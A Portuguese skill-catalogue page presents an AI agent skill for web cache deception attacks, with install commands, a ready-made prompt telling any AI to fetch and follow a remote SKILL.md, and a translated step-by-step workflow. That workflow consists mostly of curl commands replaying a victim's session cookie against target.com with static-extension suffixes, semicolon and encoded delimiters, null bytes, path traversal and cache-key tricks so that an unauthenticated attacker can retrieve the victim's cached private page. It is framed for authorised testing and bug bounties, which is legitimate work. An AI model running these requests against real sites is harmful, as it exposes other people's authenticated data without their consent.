Pular para o conteúdo
Skillpedia
Agentes35 mil · #6171

performing-web-cache-deception-attack

Permite que seu agente explore falhas em sistemas de cache web para acessar conteúdo sensível indevidamente.

O que ela faz

Este recurso engana sistemas de cache na internet (como os usados por Cloudflare ou Akamai) para que salvem informações privadas de páginas que deveriam ser apenas para você. Ele faz isso explorando como diferentes sistemas interpretam caminhos de URL de maneiras distintas.

Quando usar

  • ✓Ao testar sites que usam CDNs para acelerar o carregamento.
  • ✓Para verificar se informações sensíveis podem ser expostas por engano.
  • ✓Durante caçadas de bugs em sites com cache agressivo.

Exemplo do que pedir para a IA

“Tente enganar o cache para salvar minha página de perfil como se fosse um arquivo CSS.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-web-cache-deception-attack/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-web-cache-deception-attack/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

Ele funciona enviando um link que parece ser um arquivo comum (como .css), mas que na verdade aponta para uma página privada. Se o sistema de cache for enganado, ele salvará o conteúdo privado e poderá mostrá-lo para outras pessoas.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-web-cache-deception-attack

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-web-cache-deception-attack/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Realizando Ataque de Engano de Cache Web

Quando Usar

  • Ao testar aplicações atrás de CDNs ou proxies reversos (Cloudflare, Akamai, Varnish, Nginx)
  • Durante a avaliação do comportamento de cache de páginas autenticadas
  • Ao avaliar diferenças de normalização de caminho entre as camadas de cache e de origem
  • Durante a caça a bugs em aplicações com políticas de cache agressivas
  • Ao testar a exposição de dados sensíveis através de má configuração da camada de cache

Pré-requisitos

  • Compreensão dos mecanismos de cache HTTP (cabeçalhos Cache-Control, Vary, Age)
  • Conhecimento de normalização de caminhos de CDN e construção de chaves de cache
  • Burp Suite para interceptar e criar requisições
  • Duas sessões de navegador (vítima autenticada e atacante não autenticado)
  • Compreensão das diferenças de análise de caminhos de URL entre tecnologias
  • Familiaridade com plataformas comuns de CDN (Cloudflare, Akamai, Fastly, AWS CloudFront)

Aviso Legal: Esta habilidade é apenas para fins de teste de segurança autorizado e educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Passo 1 — Identificar a Camada e o Comportamento de Cache

# Determine if a caching layer exists
curl -I http://target.com/account/profile
# Look for: X-Cache, CF-Cache-Status, Age, Via, X-Varnish headers

# Check caching rules for static extensions
curl -I "http://target.com/static/style.css"
# Look for: X-Cache: HIT, CF-Cache-Status: HIT, Age: >0

# Identify which extensions are cached
for ext in css js png jpg gif svg ico woff woff2 pdf; do
  echo -n "$ext: "
  curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache"
done

Passo 2 — Testar Engano de Cache Baseado em Caminho

# Classic web cache deception: append static extension to dynamic URL
# Victim visits: http://target.com/account/profile/nonexistent.css
# If origin returns profile page and CDN caches it based on .css extension:

# Step 1: As victim (authenticated), visit:
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css"

# Step 2: As attacker (unauthenticated), request same URL:
curl "http://target.com/account/profile/anything.css"
# If victim's profile data is returned, cache deception is confirmed

# Test various extensions
for ext in css js png jpg svg ico woff2; do
  curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null
  sleep 2
  echo -n "$ext: "
  curl -s "http://target.com/account/profile/x.$ext" | head -c 200
  echo
done

Passo 3 — Explorar Discrepâncias Baseadas em Delimitadores

# Use path delimiters that CDN and origin interpret differently
# Semicolon delimiter (ignored by CDN, processed by origin)
curl -b "session=VICTIM" "http://target.com/account/profile;anything.css"

# Encoded characters
curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css"
curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css"

# Null byte injection
curl -b "session=VICTIM" "http://target.com/account/profile%00.css"

# Fragment identifier abuse
curl -b "session=VICTIM" "http://target.com/account/profile%23.css"

# Dot segment normalization
curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile"

Passo 4 — Testar Discrepâncias de Normalização

# Path traversal normalization differences
# CDN normalizes: /account/profile/../static/x.css -> /static/x.css (cached)
# Origin sees: /account/profile (dynamic page returned)

curl -b "session=VICTIM" "http://target.com/static/../account/profile"
# CDN may cache as /account/profile if it normalizes differently than origin

# Encoded path traversal
curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile"

# Case sensitivity differences
curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS"

# Double-encoded paths
curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css"

Passo 5 — Explorar Manipulação de Chave de Cache

# Identificar componentes da chave de cache
# A CDN pode usar: esquema + host + caminho (excluindo a string de consulta)
# Testar se a string de consulta afeta o cache

curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css"

# Testar se a CDN usa o caminho completo ou o caminho normalizado como chave de cache
curl -b "session=VICTIM" "http://target.com/account/profile/./style.css"
curl "http://target.com/account/profile/./style.css"  # Verificar se está em cache

# Manipulação de chave de cache baseada em cabeçalho

…
Perguntas frequentes

O que é um CDN?

CDN significa Rede de Distribuição de Conteúdo. São servidores espalhados pelo mundo que guardam cópias de sites para que eles carreguem mais rápido para os usuários.

O que é 'cache deception'?

É quando um atacante engana um sistema de cache para que ele armazene dados sensíveis que não deveriam ser armazenados em cache, potencialmente expondo-os.

Isso pode afetar qualquer site?

Principalmente sites que usam CDNs ou proxies reversos e têm configurações de cache que podem ser exploradas pela forma como interpretam os caminhos dos links.

Detalhes

Descrição original do autor

Executes web cache deception attacks by exploiting path normalization discrepancies between CDN/reverse-proxy caching layers (Cloudflare, Akamai, Varnish, Nginx) and origin servers to cache and retrieve sensitive authenticated content. Use when testing applications behind CDNs for cache-key misconfigurations, during bug bounty hunting on aggressively cached sites, or when assessing sensitive data

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6171
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas